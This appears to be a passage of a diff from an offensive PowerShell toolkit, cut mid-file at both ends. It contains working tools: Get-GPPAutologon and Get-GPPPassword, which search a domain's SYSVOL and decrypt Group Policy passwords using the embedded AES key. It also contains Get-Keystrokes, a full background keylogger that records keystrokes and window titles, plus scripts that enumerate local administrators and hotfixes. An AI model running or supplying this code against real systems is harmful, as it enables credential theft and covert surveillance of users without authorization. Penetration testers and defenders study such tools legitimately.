PS C:\> Get-GPPAutolgon
|
||||
|
||||
UserNames File Passwords
|
||||
--------- ---- ---------
|
||||
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
|
||||
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
|
||||
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
||||
password
|
||||
password12
|
||||
password123
|
||||
password1234
|
||||
password1234$
|
||||
read123
|
||||
Recycling*3ftw!
|
||||
|
||||
.LINK
|
||||
|
||||
https://support.microsoft.com/nb-no/kb/324737
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
|
||||
#Some XML issues between versions
|
||||
Set-StrictMode -Version 2
|
||||
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
|
||||
|
||||
#define helper function to parse fields from xml files
|
||||
function Get-GPPInnerFields
|
||||
{
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
)
|
||||
|
||||
try
|
||||
{
|
||||
$Filename = Split-Path $File -Leaf
|
||||
[xml] $Xml = Get-Content ($File)
|
||||
|
||||
#declare empty arrays
|
||||
$Password = @()
|
||||
$UserName = @()
|
||||
|
||||
#check for password and username field
|
||||
if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*"))
|
||||
{
|
||||
$props = $xml.GetElementsByTagName("Properties")
|
||||
foreach($prop in $props)
|
||||
{
|
||||
switch ($prop.name)
|
||||
{
|
||||
'DefaultPassword'
|
||||
{
|
||||
$Password += , $prop | Select-Object -ExpandProperty Value
|
||||
}
|
||||
|
||||
'DefaultUsername'
|
||||
{
|
||||
$Username += , $prop | Select-Object -ExpandProperty Value
|
||||
}
|
||||
}
|
||||
|
||||
Write-Verbose "Potential password in $File"
|
||||
}
|
||||
|
||||
#put [BLANK] in variables
|
||||
if (!($Password))
|
||||
{
|
||||
$Password = '[BLANK]'
|
||||
}
|
||||
|
||||
if (!($UserName))
|
||||
{
|
||||
$UserName = '[BLANK]'
|
||||
}
|
||||
|
||||
#Create custom object to output results
|
||||
$ObjectProperties = @{'Passwords' = $Password;
|
||||
'UserNames' = $UserName;
|
||||
'File' = $File}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Verbose "The password is between {} and may be more than one value."
|
||||
if ($ResultsObject)
|
||||
{
|
||||
Return $ResultsObject
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
try {
|
||||
#ensure that machine is domain joined and script is running as a domain account
|
||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
||||
throw 'Machine is not a domain member or User is not a member of the domain.'
|
||||
}
|
||||
|
||||
#discover potential registry.xml containing autologon passwords
|
||||
Write-Verbose 'Searching the DC. This could take a while.'
|
||||
$XMlFiles = Get-ChildItem -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
|
||||
|
||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
||||
|
||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerFields $File.Fullname)
|
||||
Write-Output $Result
|
||||
}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
|
@ -0,0 +1,247 @@
|
|||
function Get-GPPPassword {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
|
||||
PowerSploit Function: Get-GPPPassword
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
|
||||
.PARAMETER Server
|
||||
|
||||
Specify the domain controller to search for.
|
||||
Default's to the users current domain
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPPassword
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
|
||||
Passwords : {password, password1234$}
|
||||
UserNames : {administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
|
||||
Passwords : {password, read123}
|
||||
UserNames : {DEMO\Administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
|
||||
|
||||
.EXAMPLE
|
||||
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
||||
password
|
||||
password12
|
||||
password123
|
||||
password1234
|
||||
password1234$
|
||||
read123
|
||||
Recycling*3ftw!
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Server = $Env:USERDNSDOMAIN
|
||||
)
|
||||
|
||||
#Some XML issues between versions
|
||||
Set-StrictMode -Version 2
|
||||
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
|
||||
#define helper function that decodes and decrypts password
|
||||
function Get-DecryptedCpassword {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[string] $Cpassword
|
||||
)
|
||||
|
||||
try {
|
||||
#Append appropriate padding based on string length
|
||||
$Mod = ($Cpassword.length % 4)
|
||||
|
||||
switch ($Mod) {
|
||||
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
|
||||
'2' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
'3' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
}
|
||||
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||
|
||||
#Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
|
||||
#Set IV to all nulls to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
#define helper function to parse fields from xml files
|
||||
function Get-GPPInnerFields {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
)
|
||||
|
||||
try {
|
||||
|
||||
$Filename = Split-Path $File -Leaf
|
||||
[xml] $Xml = Get-Content ($File)
|
||||
|
||||
#declare empty arrays
|
||||
$Cpassword = @()
|
||||
$UserName = @()
|
||||
$NewName = @()
|
||||
$Changed = @()
|
||||
$Password = @()
|
||||
|
||||
#check for password field
|
||||
if ($Xml.innerxml -like "*cpassword*"){
|
||||
|
||||
Write-Verbose "Potential password in $File"
|
||||
|
||||
switch ($Filename) {
|
||||
|
||||
'Groups.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Services.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Scheduledtasks.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'DataSources.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Printers.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Drives.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($Pass in $Cpassword) {
|
||||
Write-Verbose "Decrypting $Pass"
|
||||
$DecryptedPassword = Get-DecryptedCpassword $Pass
|
||||
Write-Verbose "Decrypted a password of $DecryptedPassword"
|
||||
#append any new passwords to array
|
||||
$Password += , $DecryptedPassword
|
||||
}
|
||||
|
||||
#put [BLANK] in variables
|
||||
if (!($Password)) {$Password = '[BLANK]'}
|
||||
if (!($UserName)) {$UserName = '[BLANK]'}
|
||||
if (!($Changed)) {$Changed = '[BLANK]'}
|
||||
if (!($NewName)) {$NewName = '[BLANK]'}
|
||||
|
||||
#Create custom object to output results
|
||||
$ObjectProperties = @{'Passwords' = $Password;
|
||||
'UserNames' = $UserName;
|
||||
'Changed' = $Changed;
|
||||
'NewName' = $NewName;
|
||||
'File' = $File}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Verbose "The password is between {} and may be more than one value."
|
||||
if ($ResultsObject) {Return $ResultsObject}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
try {
|
||||
#ensure that machine is domain joined and script is running as a domain account
|
||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
||||
throw 'Machine is not a domain member or User is not a member of the domain.'
|
||||
}
|
||||
|
||||
#discover potential files containing passwords ; not complaining in case of denied access to a directory
|
||||
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
|
||||
|
||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
||||
|
||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerFields $File.Fullname)
|
||||
Write-Output $Result
|
||||
}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
|
@ -0,0 +1,253 @@
|
|||
function Get-Keystrokes {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Logs keys pressed, time and the active window.
|
||||
|
||||
PowerSploit Function: Get-Keystrokes
|
||||
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.PARAMETER PollingInterval
|
||||
|
||||
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
|
||||
|
||||
.PARAMETER RunningTime
|
||||
|
||||
Specifies the time in minutes for how long you want to job to run for. Defaults to 60 minutes.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Keystrokes -PollingInterval 20 -Runningtime 240
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-KeylogOutput
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresec.com/
|
||||
http://www.exploit-monday.com/
|
||||
#>
|
||||
[CmdletBinding()] Param (
|
||||
[Int32]
|
||||
$PollingInterval = 40,
|
||||
[Int32]
|
||||
$RunningTime = 60
|
||||
|
||||
)
|
||||
|
||||
$scriptblock = @"
|
||||
function KeyLog {
|
||||
`$PollingInterval = $PollingInterval
|
||||
|
||||
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
|
||||
|
||||
try
|
||||
{
|
||||
`$ImportDll = [User32]
|
||||
}
|
||||
catch
|
||||
{
|
||||
`$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
|
||||
`$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(`$DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
`$ModuleBuilder = `$AssemblyBuilder.DefineDynamicModule('Win32Lib', `$False)
|
||||
`$TypeBuilder = `$ModuleBuilder.DefineType('User32', 'Public, Class')
|
||||
|
||||
`$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
||||
`$FieldArray = [Reflection.FieldInfo[]] @(
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
|
||||
)
|
||||
|
||||
`$PInvokeMethod = `$TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
|
||||
`$FieldValueArray = [Object[]] @(
|
||||
'GetAsyncKeyState',
|
||||
`$True,
|
||||
`$False,
|
||||
`$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
`$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray)
|
||||
`$PInvokeMethod.SetCustomAttribute(`$CustomAttribute)
|
||||
|
||||
`$PInvokeMethod = `$TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
|
||||
`$FieldValueArray = [Object[]] @(
|
||||
'GetKeyboardState',
|
||||
`$True,
|
||||
`$False,
|
||||
`$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
`$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray)
|
||||
`$PInvokeMethod.SetCustomAttribute(`$CustomAttribute)
|
||||
|
||||
`$PInvokeMethod = `$TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
|
||||
`$FieldValueArray = [Object[]] @(
|
||||
'MapVirtualKey',
|
||||
`$False,
|
||||
`$False,
|
||||
`$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
`$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray)
|
||||
`$PInvokeMethod.SetCustomAttribute(`$CustomAttribute)
|
||||
|
||||
`$PInvokeMethod = `$TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
|
||||
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
|
||||
`$FieldValueArray = [Object[]] @(
|
||||
'ToUnicode',
|
||||
`$False,
|
||||
`$False,
|
||||
`$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
`$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray)
|
||||
`$PInvokeMethod.SetCustomAttribute(`$CustomAttribute)
|
||||
|
||||
`$PInvokeMethod = `$TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
|
||||
`$FieldValueArray = [Object[]] @(
|
||||
'GetForegroundWindow',
|
||||
`$True,
|
||||
`$False,
|
||||
`$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
`$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray)
|
||||
`$PInvokeMethod.SetCustomAttribute(`$CustomAttribute)
|
||||
|
||||
`$ImportDll = `$TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
Start-Sleep -Milliseconds `$PollingInterval
|
||||
|
||||
try
|
||||
{
|
||||
|
||||
#loop through typeable characters to see which is pressed
|
||||
for (`$TypeableChar = 1; `$TypeableChar -le 254; `$TypeableChar++)
|
||||
{
|
||||
`$VirtualKey = `$TypeableChar
|
||||
`$KeyResult = `$ImportDll::GetAsyncKeyState(`$VirtualKey)
|
||||
|
||||
#if the key is pressed
|
||||
if ((`$KeyResult -band 0x8000) -eq 0x8000)
|
||||
{
|
||||
|
||||
#check for keys not mapped by virtual keyboard
|
||||
`$LeftShift = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
|
||||
`$RightShift = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
|
||||
`$LeftCtrl = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
|
||||
`$RightCtrl = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
|
||||
`$LeftAlt = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
|
||||
`$RightAlt = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
|
||||
`$TabKey = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
|
||||
`$SpaceBar = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
|
||||
`$DeleteKey = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
|
||||
`$EnterKey = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
|
||||
`$BackSpaceKey = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
|
||||
`$LeftArrow = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
|
||||
`$RightArrow = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
|
||||
`$UpArrow = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
|
||||
`$DownArrow = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
|
||||
`$LeftMouse = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
|
||||
`$RightMouse = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
|
||||
|
||||
if (`$LeftShift -or `$RightShift) {`$LogOutput += '[Shift]'}
|
||||
if (`$LeftCtrl -or `$RightCtrl) {`$LogOutput += '[Ctrl]'}
|
||||
if (`$LeftAlt -or `$RightAlt) {`$LogOutput += '[Alt]'}
|
||||
if (`$TabKey) {`$LogOutput += '[Tab]'}
|
||||
if (`$SpaceBar) {`$LogOutput += '[SpaceBar]'}
|
||||
if (`$DeleteKey) {`$LogOutput += '[Delete]'}
|
||||
if (`$EnterKey) {`$LogOutput += '[Enter]'}
|
||||
if (`$BackSpaceKey) {`$LogOutput += '[Backspace]'}
|
||||
if (`$LeftArrow) {`$LogOutput += '[Left Arrow]'}
|
||||
if (`$RightArrow) {`$LogOutput += '[Right Arrow]'}
|
||||
if (`$UpArrow) {`$LogOutput += '[Up Arrow]'}
|
||||
if (`$DownArrow) {`$LogOutput += '[Down Arrow]'}
|
||||
if (`$LeftMouse) {`$LogOutput += '[Left Mouse]'}
|
||||
if (`$RightMouse) {`$LogOutput += '[Right Mouse]'}
|
||||
|
||||
#check for capslock
|
||||
if ([Console]::CapsLock) {`$LogOutput += '[Caps Lock]'}
|
||||
|
||||
`$MappedKey = `$ImportDll::MapVirtualKey(`$VirtualKey, 3)
|
||||
`$KeyboardState = New-Object Byte[] 256
|
||||
`$CheckKeyboardState = `$ImportDll::GetKeyboardState(`$KeyboardState)
|
||||
|
||||
#create a stringbuilder object
|
||||
`$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
|
||||
`$UnicodeKey = `$ImportDll::ToUnicode(`$VirtualKey, `$MappedKey, `$KeyboardState, `$StringBuilder, `$StringBuilder.Capacity, 0)
|
||||
|
||||
#convert typed characters
|
||||
if (`$UnicodeKey -gt 0) {
|
||||
`$TypedCharacter = `$StringBuilder.ToString()
|
||||
`$LogOutput += ('['+ `$TypedCharacter +']')
|
||||
}
|
||||
|
||||
#get the title of the foreground window
|
||||
`$TopWindow = `$ImportDll::GetForegroundWindow()
|
||||
`$WindowTitle = (Get-Process | Where-Object { `$_.MainWindowHandle -eq `$TopWindow }).MainWindowTitle
|
||||
|
||||
#get the current DTG
|
||||
`$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
|
||||
|
||||
#Create a custom object to store results
|
||||
`$ObjectProperties = @{'Key Typed' = `$LogOutput;
|
||||
'Time' = `$TimeStamp;
|
||||
'Window Title' = `$WindowTitle}
|
||||
`$ResultsObject = New-Object -TypeName PSObject -Property `$ObjectProperties
|
||||
|
||||
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
|
||||
`$CSVEntry = (`$ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
|
||||
`$sessionstate.log += `$CSVEntry
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {}
|
||||
}
|
||||
|
||||
`$timeout = new-timespan -Minutes $RunningTime
|
||||
`$sw = [diagnostics.stopwatch]::StartNew()
|
||||
while (`$sw.elapsed -lt `$timeout){Keylog}
|
||||
|
||||
"@
|
||||
|
||||
$global:sessionstate = "2"
|
||||
$PollingInterval = 40
|
||||
|
||||
$global:sessionstate = [HashTable]::Synchronized(@{})
|
||||
$sessionstate.log = New-Object System.Collections.ArrayList
|
||||
|
||||
$HTTP_runspace = [RunspaceFactory]::CreateRunspace()
|
||||
$HTTP_runspace.Open()
|
||||
$HTTP_runspace.SessionStateProxy.SetVariable('sessionstate',$sessionstate)
|
||||
$HTTP_powershell = [PowerShell]::Create()
|
||||
$HTTP_powershell.Runspace = $HTTP_runspace
|
||||
$HTTP_powershell.AddScript($scriptblock) > $null
|
||||
$HTTP_powershell.BeginInvoke() > $null
|
||||
|
||||
echo ""
|
||||
echo "[+] Started Keylogging for $RunningTime minutes"
|
||||
echo ""
|
||||
echo "Run Get-KeystrokeData to obtain the keylog output"
|
||||
echo ""
|
||||
}
|
||||
|
||||
function Get-KeystrokeData {
|
||||
echo ""
|
||||
"[+] Keylog data:"
|
||||
echo $sessionstate.log
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Returns members of the Local Admins group
|
||||
.DESCRIPTION
|
||||
Retrieves all computers from Active Direcrory and searches and returns the members of the Local Admins group
|
||||
.EXAMPLE
|
||||
PS C:\> Get-LocAdm
|
||||
|
||||
#>
|
||||
Function Get-LocAdm
|
||||
{
|
||||
$DirSearcher = New-Object -TypeName DirectoryServices.DirectorySearcher -ArgumentList ([ADSI]'')
|
||||
$DirSearcher.Filter = '(objectClass=computer)'
|
||||
$Computers = $DirSearcher.Findall()
|
||||
Foreach ($Computer in $Computers)
|
||||
{
|
||||
$Path = $Computer.Path
|
||||
$Name = ([ADSI]"$Path").Name
|
||||
Write-Output -InputObject $Name
|
||||
Write-Output -InputObject 'Members of the Local Admins group'
|
||||
Write-Output -InputObject '================================='
|
||||
$members = [ADSI]"WinNT://$Name/Administrators"
|
||||
$members = @($members.psbase.Invoke('Members'))
|
||||
$members | ForEach-Object -Process {
|
||||
$_.GetType().InvokeMember('Name', 'GetProperty',
|
||||
$null, $_, $null)
|
||||
}
|
||||
Write-Output -InputObject `n
|
||||
}
|
||||
}
|
|
@ -0,0 +1,48 @@
|
|||
function Get-MSHotFixes
|
||||
{
|
||||
<#
|
||||
.Synopsis
|
||||
Cmdlet to retrive the install Microsoft hotfixes
|
||||
.Description
|
||||
The cmdlet retrives all installled Microsoft hotfixes using WMI, specifically Win32_QuickFixEngineering class
|
||||
Previously this was achieved by executing 'wmic qfe list' via Invoke-Expression, however this produced a pop-up window and Invoke-Expression could trigger various warnings or alerts.
|
||||
